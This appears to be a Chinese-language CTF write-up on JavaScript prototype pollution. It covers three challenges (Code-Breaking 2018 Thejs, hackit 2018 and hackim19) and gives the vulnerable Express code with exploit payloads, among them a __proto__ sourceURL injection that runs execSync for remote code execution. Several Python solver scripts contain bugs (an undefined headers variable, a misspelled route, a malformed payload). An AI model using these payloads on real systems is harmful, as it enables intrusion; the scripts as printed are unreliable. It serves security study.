目录
例题1:Code-Breaking 2018 Thejs 分析
第一步:环境配置
1、在nodejs目录中新建一个web文件夹,将所需的环境资源及其代码复制到上述文件夹中
2、打开windows命令管理器,进入web文件夹目录
3、使用npm命令下载所需安装包
4、查看安装包是否安装完成
编辑
5、将views文件夹下的index.js 添加上自己本机的IP地址,如下图
6、查看侦听端口
由上述配置的本地IP访问监听界面
第二步:原型链污染分析:
代码整体逻辑:
原型链污染方法
例题2:hackit 2018
在pycharm下发送post请求测试
例题3
在pycharm下发送post请求测试
本漏洞复现需要的环境:nodejs php VSCOD & WebStrom
需要获取上述环境复现代码的小伙伴可下载本人上传的资源
由此可见,侦听端口为3000
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
lodash.template
一个简单的模板引擎
lodash.merge
函数或对象的合并
用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。而这里的lodash.merge
操作实际上就存在原型链污染漏洞。
在server.js代码中: merge 首先需要传参body进行原型链污染,其污染的对象是sourceURL。因为传递的所有参数最终都会通过到template函数进行处理,而template最终会通过
return Function(importsKeys, sourceURL + 'return ' + source)
这段代码进行生成
// Use a sourceURL for easier debugging.
sourceURL 空
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';{"__proto__": {sourceURL: ''}}
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL
属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
将带有__proto__
的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:
{"__proto__": {"sourceURL": "\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\u000a//"}}
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now 空数组 祖先是object,只要污染object即可完成原型链污染:在object加入admintoken即可拿到user
admintoken
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is flag{prototype_pollution_is_very_dangerous}');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
// 污染思路:+在request里传入 row :"__proto__",'col' :"admintoken"对象
// 相当于matrix.__proto__admintoken = 'xxxxx'此时,user可以找到admintoken
// 关键
matrix[client.row][client.col] = client.data;
// client可以控制,client.data可控制 client.row和client.col也可以控制
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在
注:要使用json传值,不然会出现错误
from wsgiref import headers
import requests
import json
url = "http://192.168.17.1:3000/api"
url1 = "http://192.168.17.1:3000/api/admin?querytoken=5881ca97cfe9782358a88e0b31092814"
heads = {"Content-type": "application/json"}
data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}
res1 = requests.post(url, headers=headers, data=json.dumps(data))
res2 = requests.get(url1)
print(res2.text)
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body)); {"__proto__"; {"admin";1}}
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
获取flag的条件是admin.admin == 1
而admin 本身是一个object,其admin 属性本身并不存在,而且还有一个敏感函数 merg
function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a }
merge 函数作用是进行对象的合并,其中涉及到了对象的赋值,且键值可控,这样就可以触发原形链污染了
而题目中也出现了JSON.parse
var body = JSON.parse(JSON.stringify(req.body));
这样我们就可以进行原型链污染了
payload:
from wsgiref import headers
import requests
import json
url = "http://127.0.0.1:8080/sigup"
url1 = "http://127.0.0.1:8080/api/getflag"
heads = {"Content-type": "application/json"}
data = { "__proto__" : {"admin : 1"}}
res1 = requests.post(url, headers=headers, data=json.dumps(data))
res2 = requests.get(url1)
print(res2.text)